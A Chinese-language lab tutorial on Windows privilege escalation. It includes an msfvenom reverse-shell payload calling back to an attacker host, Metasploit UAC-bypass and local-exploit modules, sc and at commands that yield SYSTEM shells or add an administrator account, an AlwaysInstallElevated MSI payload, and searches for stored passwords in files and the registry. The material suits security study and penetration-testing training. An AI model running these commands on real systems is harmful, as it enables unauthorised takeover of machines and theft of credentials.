总之岁月漫长,然而值得等待。
——村上春树 《如果我们的语言是威士忌》
常识提权总结
提权前奏
windows下的权限:
- user
- administrator
- system
windows认证过程:
https://wenku.baidu.com/view/cf2ee127a5e9856a56126017.html
windows 2k3、xp
唔,现在03的机器已经很少了,所以现在只是简单的说一些常见的思路,操作,第三方之类的除外
实验环境:
windows 2k3:192.168.0.105
kali : 192.168.0.107
首先生成个木马:
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe |
msf反弹
查看当前权限
2k3可以尝试直接 getsystem进行提取
失败
一般可能是uac问题,常识bypass uac
use exploit/windows/local/ask
1 | msf5 exploit(multi/handler) > use exploit/windows/local/ask |
或者
- use exploit/windows/local/bypassuac
- use exploit/windows/local/bypassuac_injection
使用漏洞提权
1 | meterpreter > run post/windows/gather/enum_patches |
以ms11-080为例
1 | msf5 > use exploit/windows/local/ms11_080_afdjoinleaf |
at命令提权
在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将
Administrators 组下的用户权限提升到 SYSTEM
at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的
定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、
可以是一个二进制文件。
语法:at 时间 命令
例子:at 10:45PM calc.exe
该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。
我们可以通过 “/interactive”开启界面交互模式:
at 10:45PM /interactive calc.exe
在得到一个system的cmd之后,使用taskmgr命令调用任务管理器,此时的
任务管理器是system权限,然后kill掉explore进程,再使用任务管理器
新建explore进程,将会得到一个system的桌面环境
at 配合 msf提权
可以采用 Regsvr32 一条命令上线
msf下配置
cmd下执行
等待上线
可是这里一般会出现问题..
然后我们也可以选择上线木马的方式来获取shell
等待上线
上线后为system
windows 7、8、08、12、16
sc命令提权(administrator–>system)
ps:经测试03也可以。
关于sc命令:
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
sc Create syscmd binPath= “cmd /K start” type= own type= interact
这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
然后执行
sc start systcmd,就得到了一个system权限的cmd环境
不带引号的服务路径
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:
Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引号中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:
1 | C:\Program.exe |
我们可以使用以下命令查看错误配置的路径
1 | wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ |
假如存在漏洞路径,我们可以将msf木马放到我们的c盘下,然后重启机器,此时,反弹回来的shell,则是一个system的shell
此外msf下已经集成了该模块(exploit/windows/local/trusted_service_path )
不过不太好用…..
不安全的服务权限
即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。
AccessChk工具可以用来查找用户可以修改的服务:
accesschk.exe -uwcqv “Authenticated Users” * /accepteula
accesschk.exe -uwcqv “user” *
sc命令也可以
sc qc “Service”
找到有权限修改的服务后使用以下命令:
sc config PFNET binpath= “net user rottenadmin P@ssword123! /add”
sc stop PFNET
sc start PFNET
每当我们开启服务时sc命令都返回了一个错误。这是因为net user命令没有指向二进制服务,因此SCM无法 与服务进行通信,通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。
或者我们在权限允许的情况下,将我们的木马放到服务目录下,并重命名为服务启动的应用名称。
电脑重启时即可获得一个system的shell
msf也集成了该类模块
exploit/windows/local/service_permissions
同样不好用。
AlwaysInstallElevated
AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
可以通过查询以下注册表项来识别此设置:
1 | [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001 |
使用reg query命令查询是否存在漏洞
C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果存在漏洞,上面将输出以下内容
如果系统没这个漏洞,它将输出错误
1 | C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
然后我们使用msfvenom生成msi文件,进行提权
msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
然后使用
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi
即可
msf下的模块为:
exploit/windows/local/always_install_elevated
Unattended Installs
自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。
全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:
1 | C:\Windows\Panther\ |
除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。
C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
或者在名称中包含关键词的项目:
C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*
或者可以在文件内容中搜索password之类的关键字:
C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini
可以查询注册表,例如,字符串password:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。
msf模块(post/windows/gather/enum_unattend )
写在后面
唔,今天是5.20了,文章也断断续续写了一周,里面内容或许比较基础,还有许多像注册表、组策略之类的提权方式没有提出,但是,我只想说:祝天下所有的情侣都是失散多年的兄妹….